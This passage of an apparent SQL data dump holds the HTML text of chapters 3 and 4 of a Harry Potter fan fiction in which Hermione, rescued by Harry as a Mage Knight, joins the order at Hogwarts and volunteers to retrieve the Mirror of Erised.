without warning, the\ntroll let out a huge roar and swung its club toward the knight!&nbsp; There was a sound of metal hitting wood as\nthe knight blocked the club with his sword.&nbsp;\nHe then sent his horse jumping behind the troll.&nbsp; The troll turned around and swung his club\nagain, only to have it once again deflected by the sword.&nbsp; Angrily, the troll swung club down with the\nall the strength he could muster!&nbsp; This\ntime, the knight had his horse jump out of the way as the club came crashing\ndown.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">All of a sudden, the knight pointed his sword\nat the troll and shouted <i>&quot;Expelliarmus!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\'s eyes went wide as a red light shot\nout of the sword and hit the troll, sending its club flying out of its hand\ninto a bush about ten feet away.&nbsp; The\ntroll looked confused as the knight next shouted <i>&quot;Accio!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione screamed as she flew out of the\ntroll\'s grasp and went flying through the air.&nbsp;\nA second afterwards, however, she found herself in the arms of the\nknight.&nbsp; The knight shouted <i>&quot;Stupefy!&quot;</i>\ncausing the troll to fall unconscious.&nbsp;\nHermione looked into the brilliant green eyes of her rescuer and\npromptly fainted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: Its all J.K. Rowling\'s stuff, got\nthat?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 3: The Mage Knights of Hogwarts</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText">When Hermione woke\nup, the first thing she saw were a pair of twinkling blue eyes behind a pair of\nhalf moon spectacles.&nbsp; As her vision\ncame in focus, she saw that they belonged to a kindly looking old man.&nbsp; He had long silver hair and a beard that\nwent down to his waist.&nbsp; He also had a\ncrooked nose and elegant purple robes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Ah, I see that\nyou have woken, Miss Hermione Granger.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione looked\naround.&nbsp; She was lying in a bed in the\nmiddle of a small room with stone walls.&nbsp;\nSunlight was streaming through the windows behind her and there was a wooden\ndoor not to far away in front of her bed.&nbsp;\nThe old man was sitting on a stool right next to the bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione stared at\nthe old man in bewilderment.&nbsp;\n&quot;Wh..who are you?&nbsp; Where am\nI?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; H..how do you know my\nn..name?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">The old man\nchuckled.&nbsp; &quot;Ah, yes.&nbsp; In answer to your first question, I am Albus\nDumbledore, Guardian of Hogwarts.&nbsp; In\nanswer to your second question, you are in a guest room of Hogwarts Castle.&nbsp; In answer to your third question...well lets\njust say that I have ways of finding things out.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione was about\nto ask more questions when the door opened and two knights walked in.&nbsp; Hermione recognized one of them (with his\nraven black hair, green eyes, and lightning bolt shaped scar) as the knight\nwhom had saved her from the troll.&nbsp; The other\nknight was a little taller.&nbsp; He had\nfirey red hair and freckles plastered all over his face.&nbsp; He wore armor that was similar to the armor\nof the black haired knight, only that his was old, battered, and rusty though\nstill in good condition.&nbsp; His head gear\nhad two small horns sticking out on opposite sides of his visor.&nbsp; He too wore a red cape.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Ah, most\nexcellent timing,&quot;&nbsp; Dumbledore\ngestured toward the redheaded knight.&nbsp;\n&quot;This is Sir Ronald Weasley.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione gaped at\nthe knight when she heard this.&nbsp;\n&quot;The House of Weasley?&quot; she asked.&nbsp; The House of Weasley was one of the oldest aristocratic families\nof the Gryffindor nobility.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Sir Ronald\ngrinned.&nbsp; &quot;Nope, the House of rats\nand mice.&quot;&nbsp; Apparently, sarcasm\nseemed to be second nature to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Dumbledore chuckled\nand gestured toward the other knight.&nbsp;\n&quot;I believe you have already met Sir Harry Potter.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Sir Harry\nsmiled.&nbsp; &quot;Are you all right?&quot;\nhe asked with concern in his green eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione bowed her\nhead.&nbsp; You have saved my life, Sir\nknight,&quot; she said.&nbsp; &quot;I am\nforever in your grace\'s debt...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Please call me\nHarry,&quot; interrupted the knight.&nbsp;\n&quot;And call him Ron.&nbsp; We\nreally hate those ridiculous formalities that people use with us.&nbsp; And you can forget about that \'life\ndebt\'.&nbsp; I was only doing what any Mage\nKnight would have done so don\'t bother.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Mage\nKnight?&quot; asked Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;That\'s what we\nare,&quot; said Harry.&nbsp; &quot;The Mage\nKnights are an order of knights with magical powers.&nbsp; Are mission is to protect the innocent and weak from evil and to\nuphold justice within the four kingdoms.&nbsp;\nAre current goal however, is the destruction of the Death Eaters.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Death\nEaters?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;The rulers of\nthe Kingdom of Slytherin,&quot; answered Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Harry continued,\n&quot;Years ago the Kingdom of Slytherin was a peaceful kingdom.&nbsp; However all of that changed when King Lucius\ninherited the throne about 25 years ago.&nbsp;\nHe turned the entire kingdom around and brought in a cult known as the\nDeath Eaters, of which he himself is a member of, into power.&nbsp; The Death Eaters live to either enslave or\ndestroy those whom they consider inferior.&nbsp;\nThey rule the Kingdom of Slytherin in a reign of terror.&nbsp; However, they weren\'t happy with just\nSlytherin and set about waging war on the other three kingdoms.&nbsp; Gryffindor was conquered 15 years ago\nand...&quot; At this point, Harry stopped and closed his eyes.&nbsp; Apparently, he had recalled something\npainful.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Anyways, we\'ve\nbeen fighting Death Eaters ever since,&quot; finished Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione looked\naround.&nbsp; &quot;Where is this\nplace?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Hogwarts\nCastle is our Headquarters,&quot; said Ron.&nbsp;\n&quot;Its located at the point where the borders of the four kingdoms\nmeet.&nbsp; Furthermore, its unplottable so\nthe Death Eaters can\'t find it unless all four kingdoms are under their control.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Now I am sure\nthat you would all like to continue conversing but I believe that Miss Granger\ndeserves some rest,&quot; said Dumbledore.&nbsp;\n&quot;There will be a meeting tomorrow and I would like for her to attend.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">The three said their\ngood byes and left.&nbsp; As the door closed,\nHermione wondered about what she had gotten herself into.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">The next day,\nHermione answered a knocking on her door to see an amazing sight.&nbsp; Outside of her door was a giant of a man\nabout two times larger than the average human.&nbsp;\nHe had shaggy black hair and a thick beard.&nbsp; He wore a huge moleskin coat and his beetle black eyes shone with\nkindness and warmth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;\'ello\nthere,&quot; he said.&nbsp; &quot;The name\'s\nRebeus Hagrid.&nbsp; People call me\nHagrid.&nbsp; I\'m ter show yeh ter the Great\nHall.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione nodded\ndumbly, overwhelmed by the sheer size of the man.&nbsp; As Hagrid led her down the corridors she tried to strike up a\nconversation.&nbsp; &quot;What do you do hear\nHagrid?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;I\'m the keeper\nof the keys and game keeper \'ere.&nbsp; Namely,\nI look a\'ter the animals that live aroun\' Hogwarts and I&nbsp; make sure tha\' they\'re treated righ\'.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Do you like it\nhere?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;I wouldn\'\ntrade fer anythin\' at all.&nbsp; Ah we\'re\n\'ere now.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione gasped at\nthe sure size of the Great Hall.&nbsp; The\nceiling appeared to be bewitched to show the sunny blue skies outside.&nbsp; Tapestries of many different colors were\nfloating above four long tables.&nbsp; Seated\naround those tables were hundreds of Mage Knights all talking amongst\nthemselves.&nbsp; As Hagrid led her down the\nHall, Hermione was introduced to a number of the Mage Knights.&nbsp; There were Sir Justin Finch-Fletchley and\nSir Ernie Macmilan, both with yellow capes.&nbsp;\nShe was also introduced to a sad looking black haired woman, Sir Cho\nChang.&nbsp; She had a blue cape.&nbsp; As Hermione was going through these\nintroductions she felt an icy chill creep along her spine.&nbsp; She whipped around and saw that she was\nbeing glared at by a platinum blonde haired knight with cold greyish blue eyes.&nbsp; He wore a green cape and his visor was adorned\nwith dragon wings.&nbsp; He had a nasty sneer\nand was glaring at her with the utmost malice.&nbsp;\nHermione shivered and pointed him out to Hagrid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Oh, tha\' would\nbe Sir Draco Malfoy.&nbsp; Nasty bugger if\nyeh ask me,&quot; whispered Hagrid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione noticed\nHarry and Ron as they beamed at her when she took a seat at the high table next\nto Dumbledore.&nbsp; Dumbledore smiled at her\nbefore he stood up to make an announcement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">&quot;Knights of the\nOrder,&quot; he spoke.&nbsp; &quot;To my left\nis Miss Hermione Granger.&nbsp; Three days\nago, Miss Granger lost her home and family in a Death Eater attack.&nbsp; Therefore, she shall be staying at Hogwarts\nfor the time being.&nbsp; However, I am\npositive that she would not want her time here to be wasted.&nbsp; Therefore, though she is not of noble birth,\nI extend to her an invitation&nbsp; to be\ntrained in the arts of combat and magic so that she may join us in the war\nagainst the Death Eaters.&nbsp; That is, of\ncourse, if she accepts.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nmargin-left:.5in;text-indent:-.5in">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione was\nspeechless.&nbsp; She spent a few minutes\nthinking about the offer but she could only come to one conclusion.&nbsp; The Death Eaters had taken everything from\nher and now she was being given the chance to strike back at them.&nbsp; Furthermore, she was being given a shot at a\nnew life after her old one had been crushed.&nbsp;\nAfter a few moments, Hermione looked up and simply replied, &quot;I\naccept.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: It all belongs to J.K.\nRowling.&nbsp; I only own the plot.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 4:</b> <b>Days of Training</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hey, wait up!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione turned around and so Sir Harry Potter\nrunning toward her.&nbsp; It was the day\nafter she had accepted the offer to be trained for battle and she had just been\nwandering around the halls in a melancholy state, thinking about her family.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh,\nhello.&quot;&nbsp; She offered him a weak\nsmile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I just wanted\nto say that I admire you for the way that you are handling what\'s happened to\nyou.&nbsp; I mean with your losses and\nall.&nbsp; And I also wanted to say that if\nyou ever want to talk about it, I\'m all ears.&nbsp;\nI mean, I know what its like to have no parents...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You\ndo?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry nodded.&nbsp;\n&quot;My father and mother died when I was a year old.&nbsp; I spent ten miserable years after that\nliving with my mother\'s sister\'s family.&nbsp;\nThey were horrible to me; I think my aunt resented my mother or\nsomething.&nbsp; Anyway, it came as such a\nrelief when I turned eleven and became a squire here at Hogwarts.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione beamed and said, &quot;Thank you Sir\nknight.&nbsp; I am thankful for your\nkindness...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Didn\'t I ask\nyou to drop those formalities?&quot; Harry smiled.&nbsp; &quot;Anyway, good luck on your training.&nbsp; And if there\'s anything you need, just ask\nme or Ron.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione thought for a moment and then\ngrinned.&nbsp; &quot;Does this place have a\nlibrary?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">During the following two months Hermione was\ntrained in all forms of combat and magic.&nbsp;\nBeing the naturally studious type, she excelled at magic as she was able\nto read up on how to perform tricky spells, charms, hexes, and curses.&nbsp; Within a span of weeks, Hermione\'s magical powers rivaled and sometimes\nsurpassed those of the Mage Knights.&nbsp;\nUnfortunately, she was not as fortunate in physical combat.&nbsp; It turned out that she was very good in\ndefending herself with a staff, but there was no hope for her when it came to\nswords, spears, bows and arrows, or any kind of weapon for that matter.&nbsp; However, it didn\'t really matter since her\nabilities with magic and the staff made up for all her shortcomings with other\nweapons.&nbsp; If there was one thing that\nshe was absolutely horrible at however, that would have to be riding a\nhorse.&nbsp; She learned this the hard way by\nfalling off three times before finally giving up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione pursued a number of activities during\nher free time.&nbsp; As it turned out,\nHogwarts had one of the largest libraries in Magiterran, she spent hours in\nthere simply absorbing the information the books provided.&nbsp; Sometimes, on bright sunny days, Hermione\nwould be reading on a rock by the edge of the forest that surrounded the castle\nwhen she would be approached by a unicorn.&nbsp;\nShe absolutely adored the beautifully pure creatures and would feel a\nlittle honored whenever they came to her since they only approached virgin\nmaidens.&nbsp; Hermione also spent time with\nHagrid who was as kind and gentle as anyone could get.&nbsp; She learned not to trust his cooking\nhowever, when she nearly broke her teeth on one of his rock cakes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione also spent time with the Mage\nKnights.&nbsp; As she grew more comfortable\naround them, she eventually managed to drop the formalities that had been\ngrounded into her since childhood.&nbsp; In\nno time at all, she grew to become extremely close friends with Harry and\nRon.&nbsp; Ron had a sarcastic attitude and a\nshort temper that could explode with the slightest offenses.&nbsp; After the awkwardness of formalities had\nbeen dropped, he discovered that Hermione had a streak of bossiness and was a\nbit of a know-it-all; in other words, their personalities were bound to\nconflict, and it wasn\'t uncommon to hear the two arguing in a friendly\nsquabble.&nbsp; Although on the surface, they\nseemed to be arguing all the time, they were actually very fond of each other\nand enjoyed the other\'s company.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry was another matter all together.&nbsp; He was kind and compassionate and always\nlooked at Hermione with concern and sympathy in his green eyes.&nbsp; Hermione always felt the most safe and\nsecure whenever she was with Harry and Harry was happy to be around\nHermione.&nbsp; If there was one Mage Knight\nthat Hermione could\'ve stayed with at all times, that knight would have had to\nhave been Harry.&nbsp; Harry, for his part,\nformed a special friendship with her and allowed her into a part of his heart\nthat previously he had only let Ron into.&nbsp;\nWhenever she looked into his green eyes, Hermione saw a boy that had\ngrown up deprived of love and had seen much sorrow and pain during his life.&nbsp; Sometimes, it took her all the will power\nshe had to keep herself from holding him in her arms and comforting him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">One day, two months after Hermione had come to\nHogwarts, there was a meeting in the Great Hall.&nbsp; After the initial chatter had died down, Dumbledore spoke up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Many of us\nhere know that for years, we have been searching for the three magical\ntalismans that will aid us in the\ndefeat of the Death Eaters.&nbsp; I am\npleased to announce that the first of these three talismans, The Mirror of\nErised, has been discovered in the Cave of Reflections within the borders of\nthe Kingdom of Ravenclaw.&nbsp;\nUnfortunately, the Death Eaters have also discovered the whereabouts of\nthe mirror.&nbsp; Therefore, I ask for\nvolunteers to go and seek out the mirror and bring it back to Hogwarts before\nthe Death Eaters find it.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione, realizing that this could be her\nchance to prove herself, jumped up immediately.&nbsp; &quot;I volunteer!&quot; she shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore beamed.&nbsp; &quot;I thought you might, Miss Granger.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;WHAT!&quot;&nbsp; There was a sudden scream of outrage from across\nthe Hall.&nbsp; Hermione saw that it had come\nfrom Sir Draco Malfoy.&nbsp; During the past\ntwo months, he had generally avoided her.&nbsp;\n&quot;I protest!&nbsp; The peasant\ngirl mustn\'t go on this quest!&nbsp; She\'s\ntoo weak!&nbsp; She will jeopardize the whole mission!&nbsp; She\'ll put us all at doom!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore spoke over all of Sir Draco\'s\nscreams, &quot;Sir Draco, I believe that Miss Granger is more than capable of\ngoing on this quest.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I\'m not\ncomfortable about her going alone though,&quot; said Harry.&nbsp; &quot;I also volunteer for this quest.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;As do\nI,&quot; said Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore beamed towards them.&nbsp; &quot;Now that that has been taken care of,\nI wish you three good luck when you leave 